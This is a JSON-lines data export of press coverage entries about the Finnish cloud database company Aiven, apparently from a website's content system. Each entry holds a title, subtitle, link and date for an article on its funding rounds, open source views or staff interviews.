{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"25gHjmrUUTyqgfXclzx0J1","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.reuters.com/technology/finlands-aiven-raises-60-mln-2-bln-valuation-2021-10-19/","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Finland-based cloud software firm Aiven has raised $60 million from existing investors World Innovation Lab, IVP and Atomico, giving the firm a valuation of $2 billion, it said on Tuesday.","title":"Reuters: Finland's Aiven raises $60 mln at $2 bln valuation"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3oZFjIALMDJjr8dkn8bOx0","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.ciodive.com/news/microsoft-salesforce-crm-Azure/567375/","publishedAt":"2019-11-14T21:00:00.000Z","subtitle":"Running Salesforce's Marketing Cloud on Azure opens up Microsoft's wealth of development resources, analysts say.","title":"Amid heated cloud war, Microsoft lands competitor Salesforce as a client"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4TWzL41sIW7Jvc82mxn0mY","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.lifewire.com/why-experts-say-open-source-software-is-the-future-5096135","publishedAt":"2021-01-19T22:00:00.000Z","subtitle":"\"Companies are more and more recognizing the importance and usefulness of open source,\" Heikki Nousiainen, chief technology officer at Aiven, told Lifewire. ","title":"Lifewire: Why Experts Say Open Source Software Is the Future"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4qlEybBcgDmLIdgvLnNPDg","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sifted.eu/articles/saas-soonicorns/","publishedAt":"2021-06-20T21:00:00.000Z","subtitle":"Meet the SaaS startups bidding to become Europe’s next unicorns.","title":"Sifted: Introducing Europe’s SaaS soonicorns "}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4nC2deKwJpqozJaMdTfLs5","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.information-age.com/challenging-misconceptions-around-developer-career-123499275/","publishedAt":"2022-04-29T08:00:00.000Z","subtitle":"Lorna Mitchell, Head of Developer Relations at Aiven, discusses common misconceptions around a developer career that businesses must challenge","title":"Challenging misconceptions around a developer career"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"n6C3BIjgYuXZsHjeax964","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://openuk.uk/wp-content/uploads/2021/07/State-of-Open-Phase-Two.pdf","publishedAt":"2021-07-06T21:00:00.000Z","subtitle":"The creation of OSPO’s is occurring across sectors, and many take an innovative approach to leadership and governance. The report highlights three examples of OSPO’s, including a newly formed OSPO at Aiven.","title":"State of Open by Open UK"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5zEhXOomLp91umbtcbljni","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://digitalanarchist.com/videos/featured-guests/key-national-security-concern-aiven","publishedAt":"2022-02-15T08:00:00.000Z","subtitle":"White House national security adviser Jake Sullivan calls the use of open-source software a “key national security concern” – but Aiven CISO Jamie Arlen begs to differ.","title":"Key National Security Concern – Jamie Arlen, Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4Duk1GNjRQsKCLpKWHp79k","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techradar.com/uk/news/predictions-for-open-source-and-cloud-over-the-months-ahead","publishedAt":"2021-07-10T21:00:00.000Z","subtitle":"Open source predictions from Aiven's CTO Heikki Nousiainen.","title":"TechRadar Pro: Predictions for open source and cloud over the months ahead"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"lTM0pVdgk9qE32yID1fJi","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.infoq.com/articles/microservices-inside-out/","publishedAt":"2021-08-02T21:00:00.000Z","subtitle":"To future-proof your microservices, you have to design them with inbound and outbound APIs where the data flows through and a meta API that describes these APIs.","title":"InfoQ: Turning Microservices Inside-Out"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"AwVUsZ52w6O9UMxp08an6","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://fortune.com/2020/02/06/will-casper-be-the-latest-startup-humbled-by-the-public-markets/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Casper will make its brave, new public market debut today.","title":"Will Casper be the latest startup humbled by the public markets? (Term Sheet)"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3IKI8YcdsNrWQrMFCqPtH8","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://yle.fi/uutiset/3-12145368","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"1,8 miljardin euron hintalapun saanut Aiven nousi yksisarvisten joukkoon","title":"Yle: Suomalaisyhtiö kasvoi hiljaisuudessa arvokkaammaksi kuin Tokmanni, Fiskars tai Ponsse"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4ylbivx6JhV4sFIvzYk23O","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.americaninno.com/boston/funding-boston/vc-funding-update-33-startups-raise-over-1-billion-in-february/","publishedAt":"2020-03-01T21:00:00.000Z","subtitle":"Aiven, a Finnish startup whose U.S. headquarters is in Boston, has raised $40 million in a Series B round.","title":"VC Funding Update: 48 Startups Raise Over $1 Billion in February"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4bZh1lWflBHBFtGJoERFOZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computerweekly.com/opinion/The-value-of-Open-Source-in-Europe","publishedAt":"2021-11-23T22:00:00.000Z","subtitle":"Heikki Nousiainen, CTO and co-founder of Aiven, writes how source offers immense benefits across the private and public sector and enables organisations to tap into world-class expertise.","title":"Computer Weekly: The value of open source in Europe"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"56nmRcXJIbq1xWMFQ7i2iK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.hs.fi/visio/art-2000008805307.html","publishedAt":"2022-05-12T08:00:00.000Z","subtitle":"Ohjelmistoyhtiö Aivenin 200 miljoonan euron rahoituskierros on Suomessa kolmanneksi suurin kasvuyrityksen keräämä sijoituspotti. Tämä on yhtiön suunnitelmien mukaan vasta alkua.","title":"Helsingin ytimessä toimii monille tuntematon yritys, jonka arvo on jo kolme miljardia euroa. Nyt yhtiö sai todella suuren rahoituksen."}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"20p7ce4MF7735EfnIWPJDz","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2020/02/17/above-the-trend-line-your-industry-rumor-central-for-2-17-2020/","publishedAt":"2020-02-16T21:00:00.000Z","subtitle":"Aiven, a startup that combines the best open source technologies with cloud infrastructure, announced that it has raised $40 million in Series B funding.","title":"“Above the Trend Line” – Your Industry Rumor Central for 2/17/2020"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"ap5yTuBulNY5lpwbjbPhz","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.builtinboston.com/2020/02/05/aiven-raises-40m","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a cloud data platform provider that aims to democratize access to open source technologies, announced Wednesday it raised $40 million in Series B funding.","title":"Aiven Raises $40M Series B to Expand Cloud Database Services"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1B0kfdEtBYHf1mPFNEXT1I","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2020/01/05/building-a-modern-data-pipeline-means-making-big-decisions/","publishedAt":"2020-01-04T21:00:00.000Z","subtitle":"Data pipelines may not be useful unless they connect with where the data is housed — a frustration that engineers know all too well.","title":"Building a Modern Data Pipeline Means Making Big Decisions"}
{"__i18n_lang":"en","_createdAt":"2022-09-07T07:28:08Z","_id":"18ZM1Ugc0BFl328nVpdtNQ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.pandium.com/blogs/building-a-developer-relations-team-interview-with-lorna-mitchell","publishedAt":"2021-08-25T21:00:00.000Z","subtitle":"Lorna Mitchell runs a Developer Relations team at Aiven, a company that manages open source database infrastructure for their clients. She shares her insights on launching a DevRel team, documentation, reporting structure, and how and where to best engage developers.","title":"Pandium: Building a Developer Relations Team"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3GCwQT0KzYOJUgGPcUuaww","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techradar.com/uk/news/amazon-microsoft-and-google-are-all-ramping-up-open-source-work","publishedAt":"2021-07-19T21:00:00.000Z","subtitle":"According to open source data infrastructure company Aiven, the total number of active contributors to GitHub from the three companies saw a more than three-fold increase in five years.","title":"TechRadar Pro: Amazon, Microsoft, and Google are all ramping up open source work"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"MELJYssfTyezeaSnP1T8R","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://us7.campaign-archive.com/?e=fef8146131\u0026u=25b85319ed833b816410d639b\u0026id=aed719b5ce","publishedAt":"2020-01-05T21:00:00.000Z","subtitle":"In this special guest feature, John Hammink, Developer Advocate at Aiven.io, discusses how there are numerous ways to go about designing and maintaining a viable data pipeline, and there is no silver-bullet solution for every organization.","title":"Weekly Newsletter"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4SGrVoCtXNQWZJuuDuzypp","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://pitchbook.com/newsletter/aiven-pulls-in-40m-series-b","publishedAt":"2020-02-06T21:00:00.000Z","subtitle":"Aiven, the provider of an open-source cloud database, has raised $40 million in a round led by IVP. The Helsinki-based business will use the funds to triple its headcount and add new technologies to its database. Aiven secured an €8 million Series A last May.","title":"Aiven pulls in $40M Series B"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"Cw6RcglUSh5BSL4vtAA5G","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.wired.co.uk/article/helsinki-hottest-startups-2021","publishedAt":"2021-08-08T21:00:00.000Z","subtitle":"Investing further in open source is a priority, says co-founder and CEO Oskari Saarenmaa.","title":"Aiven featured in WIRED's list of Europe’s Hottest Startups"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4KA4sWjhpvmyN8dvtOgfBe","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://app.handelsblatt.com/technik/it-internet/start-up-finanzierung-hyperwachstum-mit-wenig-kapital-woran-man-ausnahme-start-ups-wie-aiven-erkennt/27714044.html?ticket=ST-7391550-oiHJG4x1lSpk0MLvf2nj-cas01.example.org","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Viele IT-Manager begreifen sofort, was Oskari Saarenmaa mit seinem Start-up in einem Altbau-Loft in Helsinki entwickelt hat. ","title":"Handelsblatt: Hyperwachstum mit wenig Kapital: Woran man Ausnahme-Start-ups wie Aiven erkennt"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"tVceohmrWSvDkoH0dn6Qf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://streamsets.com/blog/sources-and-destinations-podcast-episode-5-lorna-mitchell/","publishedAt":"2021-05-03T21:00:00.000Z","subtitle":"Putting garbage in gets you garbage out. No one understands this better than developers. No one understands developers like Lorna Mitchell. ","title":"Sources and Destinations Podcast: Lorna Mitchell"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5i5gLjnVp6VxZyUswxif49","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://areena.yle.fi/1-50621795","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Menestyneimmät suomalaiset startup-yhtiöt ovat nousseet arvoltaan jo miljardiluokkaan.","title":"Yle Uutiset: Kasvuyhtiö Aiven on uusi \"yksisarvinen\""}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2hdNNamuBIZefz0OF5R956","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2020/03/03/above-the-trend-line-your-industry-rumor-central-for-3-3-2020/","publishedAt":"2020-03-02T21:00:00.000Z","subtitle":"The new people movement category we heard … Aiven, a startup that combines the best open source technologies with cloud infrastructure, announced that Larry Irvin joined the company as the new VP and general manager of its Americas operation.","title":"“Above the Trend Line” – Your Industry Rumor Central for 3/3/2020"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5rGzVqWfm3TtLFIz1QUIjf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://cloud7.news/cloud/aiven-raises-40m-to-accelerate-open-source-cloud-platform/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven announced that it has raised $40 million in Series B funding. This brings the total funds raised to $50 million.","title":"Aiven raises $40m to accelerate open-source cloud platform"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"63OXEmcr0rnJs5LDrpamtR","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.handelsblatt.com/technik/it-internet/gaia-x-start-up-aiven-verspricht-einfachen-wechsel-des-cloud-anbieters/27029656.html?ticket=ST-2612161-oneyMmACOQbkxbN3CdyD-ap4","publishedAt":"2021-03-22T21:00:00.000Z","subtitle":"Die europäische Cloud Gaia-X hat Startschwierigkeiten und könnte scheitern. Wieder droht die Abhängigkeit von US-Konzernen. Hilfe kommt aus Helsinki.","title":"Handelsblatt: Start-up Aiven verspricht einfachen Wechsel des Cloud-Anbieters"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6KNZu2PqykobgnfhoBYgcq","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.venturecapitaljournal.com/aiven-raises-40m-led-by-ivp/","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Helsinki, Finland-based Aiven, which develops cloud infrastructure, announced that it has raised $40 million in a Series B round of funding from IVP and existing investors Earlybird VC and Lifeline Ventures, among others.","title":"Aiven raises $40m led by IVP"}
{"__i18n_lang":"en","_createdAt":"2022-09-07T07:28:08Z","_id":"17ZD3dFtqajiJp7nkOWzrA","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.information-age.com/open-source-mental-health-biggest-challenges-facing-developers-123498480/","publishedAt":"2022-01-14T08:00:00.000Z","subtitle":"Josep Prat, Open Source Engineering Manager at Aiven, discusses the mental health challenges facing open source developers. ","title":"Open source and mental health: the biggest challenges facing developers"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1ACmBX5WZxDYqcgz7ORfWt","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.information-age.com/predicting-future-of-cloud-open-source-123496699/","publishedAt":"2021-08-30T21:00:00.000Z","subtitle":"Heikki Nousiainen, CTO of Aiven, provides his predictions for the future of the cloud and open source technology.","title":"InformationAge: Predicting the future of the cloud and open source"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1C3YG2Mjn71qqEJ7PvwVUi","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://mailchi.mp/bostinno/aiven-plans-boston-expansion-with-40m-several-companies-lost-execs-in-january?e=8d659a7e89","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a Finnish startup whose U.S. headquarters is in Boston, has raised $40M in a Series B round. The company’s goal is to combine open-source technologies with cloud infrastructure.","title":"The Beat (Newsletter)"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1EtcBwu887U1ott2Bcm4IT","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.crn.com/slide-shows/applications-os/the-10-coolest-open-source-software-tools-of-2021-so-far-/2","publishedAt":"2021-07-01T21:00:00.000Z","subtitle":"CRN’s list of 10 coolest open-source tools in 2021 so far include python-based restore tooling from Aiven.","title":"CRN: The 10 Coolest Open-Source Software Tools Of 2021 (So Far)"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1T7VxZJkSkqrgXIKdfX6SB","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchitoperations.techtarget.com/news/252496121/Elasticsearch-license-schism-stirs-open-source-funding-fears","publishedAt":"2021-02-08T22:00:00.000Z","subtitle":"\"Our customers expect open source,\" said Heikki Nousiainen, CTO and co-founder at Aiven, a 140-employee startup in Helsinki, that provides open source database and messaging services to approximately 600 customers.","title":"TechTarget: Elasticsearch license schism stirs open source funding fears"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1VhlYbx9F6cKgSb5WdIpTo","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.nasdaq.com/articles/finlands-aiven-raises-%2460-mln-at-%242-bln-valuation-2021-10-19","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"\"While we didn't have an immediate need to raise more capital, we do want to stay ahead of the market and have ambitious plans for the future,\" Chief Executive Oskari Saarenmaa said.","title":"Nasdaq: Finland's Aiven raises $60 mln at $2 bln valuation"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1aSDVnMS1F6Om2QCLYMyGI","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://solutionsreview.com/backup-disaster-recovery/business-continuity-awareness-week-2021-insights-from-the-experts/","publishedAt":"2021-05-19T21:00:00.000Z","subtitle":"James Arlen, CISO at Aiven: \"2020 was the year of ‘unprecedented’ but the key to business continuity is to have a plan in place so an unexpected event doesn’t fully upend business processes.\"","title":"Business Continuity Awareness Week 2021: Insights From the Experts"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1dnqFuIBU8oKuiuZxoi8qd","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"http://www.finsmes.com/2020/02/aiven-raises-40m-in-series-b-funding.html","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a Helsinki, Finland-based startup that combines open source technologies with cloud infrastructure, raised $40m in Series B funding.","title":"Aiven Raises $40M in Series B Funding"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1kMrBZhEMb7iymMxXL9UVp","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchdatamanagement.techtarget.com/feature/Top-and-bottom-5-Apache-Kafka-use-cases","publishedAt":"2020-05-07T21:00:00.000Z","subtitle":"Apache Kafka has many applications in big data, but what enterprise use cases are the best fit for the tool? Experts discuss where Kafka works best for your data.","title":"Top -- and bottom -- 5 Apache Kafka use cases"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1qSu0AtbeXCeVOZXM98FX7","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techrepublic.com/article/the-top-barriers-and-benefits-to-small-businesses-adopting-open-source/","publishedAt":"2020-04-21T21:00:00.000Z","subtitle":"Many of the world's most powerful companies use open source for a variety of tasks but SMBs have been slow to adopt it.","title":"The top barriers and benefits to small businesses adopting open source"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2Bfp58OOHgWEh8E2E2cZqK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.cybersecuritydive.com/news/developer-security-gitlab-devsecops/599599/","publishedAt":"2021-05-04T21:00:00.000Z","subtitle":"\"Security people need developers to be more like security people and developers need security people to be more like developers,\" said James Arlen, CISO at Aiven. ","title":"Cybersecurity Dive: Relationships between DevOps, security warms slowly"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2EtWawcdvhhyUtRGC9NLhK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.cybersecuritydive.com/news/developer-security-gitlab-devsecops/599599/","publishedAt":"2021-05-04T21:00:00.000Z","subtitle":"\"Security people need developers to be more like security people and developers need security people to be more like developers,\" said Aiven's CISO James Arlen.","title":"Relationships between DevOps, security warm slowly"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2IJgZOf1T9ovekwj9k1lSY","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://techcrunch.com/2020/02/05/aiven-raises-40m-to-democratize-access-to-open-source-projects-through-managed-cloud-services/?guccounter=1","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven — which provides managed, cloud-based services designed to make it easier for businesses to build services on top of open-source projects — is today announcing that it has raised $40 million in funding, a Series B being led by IVP (itself a major player in enterprise software, backing an illustrious list that includes Slack, Dropbox, Datadog, GitHub and HashiCorp).","title":"Aiven raises $40M to democratize access to open-source projects through managed cloud services"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2ISqKC9DSlpdpOTZHC0ehc","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.fastcompany.com/90722810/i-work-a-9-to-5-job-from-a-mountainside-van-heres-how-i-do-it","publishedAt":"2022-02-20T08:00:00.000Z","subtitle":"Laura Tiensuu, Marketing Data and Analytics Manager at Aiven, urges leaders to offer employees this level of flexibility. “It’s the key to staying motivated and giving your best to the company.”","title":"I work a 9-to-5 job from a mountainside van. Here’s how I do it"}
{"__i18n_lang":"es","_createdAt":"2022-06-15T22:01:57Z","_id":"2ISqKC9DSlpdpOTZHC0ehc__i18n_es","_rev":"qkpX9b3U0TpOGFQp9C9f6G","_type":"pressNews","_updatedAt":"2022-06-27T09:28:29Z","link":"https://www.fastcompany.com/90722810/i-work-a-9-to-5-job-from-a-mountainside-van-heres-how-i-do-it","publishedAt":"2022-05-20T15:56:25.141Z","subtitle":"Laura Tiensuu, Marketing Data and Analytics Manager at Aiven, urges leaders to offer employees this level of flexibility. “It’s the key to staying motivated and giving your best to the company.”","title":"I work a 9-to-5 job from a mountainside van. Here's how I do it"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2Q2sRVrTAgIb2L39kap1VK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.tfir.io/aiven-raises-40-million-in-series-b-funding/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Helsinki-based cloud technology startup Aiven has raised $40 million in Series B funding, thus bringing the total funds raised to $50 million.","title":"Aiven Raises $40 Million In Series B Funding"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2cJgOAPgIWAN6xQPliWPGa","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.hs.fi/visio/art-2000008328209.html","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Aiven on kasvanut nopeasti ja ylittänyt sijoittajien odotukset. Valuaatio eli markkina-arvo on silti suomalaisittain todella korkea yhtiölle, jonka liikevaihto viime tilikaudella oli vasta 16,7 miljoonaa euroa.","title":"HS Visio: Suomalainen ohjelmisto­kehittäjä Aiven on sijoittajien mukaan jo 1,8 miljardin euron arvoinen"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2gjFajK3ApoXGKWlX3L9gs","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://omny.fm/shows/fashion-is-your-business-a-retail-technology-podca/heikki-nousiainen-of-aiven-open-source-database-an","publishedAt":"2019-09-30T21:00:00.000Z","subtitle":"Data is of growing importance for anyone running a brand in fashion. And commerce requires software and web development just to stay at pace with a fast marketplace.","title":"Heikki Nousiainen of Aiven - Open Source Database and Messaging"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2jY4KnCI5awQPFW3Rj0MpJ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.sdxcentral.com/articles/news/headcount-firings-hirings-and-retirings-february-2020/2020/03/","publishedAt":"2020-03-04T21:00:00.000Z","subtitle":"Aiven added Larry Irvin to its executive team where he will serve as VP and GM of the Americas.","title":"Headcount: Firings, Hirings, and Retirings — February 2020"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2nMhvOux557zkuutLT576J","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://newsdio.com/aiven-raises-40-million-to-democratize-access-to-open-source-projects-through-managed-cloud-services-newsdio/43832/","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, which provides managed cloud-based services designed to make it easier for companies to create services on open source projects, today announces that it has raised $ 40 million in funds, a Series B led by IVP (an important player) in business software","title":"Aiven raises $ 40 million to democratize access to open source projects through managed cloud services"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2r4siGgOWHq0RCj00y5XR7","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://data-economy.com/aiven-raises-40m-to-accelerate-open-source-cloud-platform/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a startup that combines open-source technologies with cloud infrastructure, has announced that it has raised $40m in Series B funding, bringing the total funds raised to $50m.","title":"Aiven Raises $40m To Accelerate Open Source Cloud Platform"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2t7dyXnvZJZiXOmGwXe1wx","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.businessinsider.com/finnish-startup-aiven-raised-50-million-open-source-cloud-2020-2?r=US\u0026IR=T","publishedAt":"2020-02-22T21:00:00.000Z","subtitle":"Finnish startup Aiven used these slides to raise $50 million for a cloud platform that helps businesses manage open source projects","title":"Finnish startup Aiven used these slides to raise $50 million for a cloud platform that helps businesses manage open source projects"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2zAnkVg75XhlLzhRzkd8jZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sifted.eu/articles/europe-startup-rounds-2021/","publishedAt":"2021-07-08T21:00:00.000Z","subtitle":"Finland’s tech ecosystem is on a roll: investment in Finnish startups almost doubled between 2019 and 2020 and Helsinki saw its VC investment grow 62% in 2020. ","title":"In data: Europe’s largest funding rounds of 2021"}
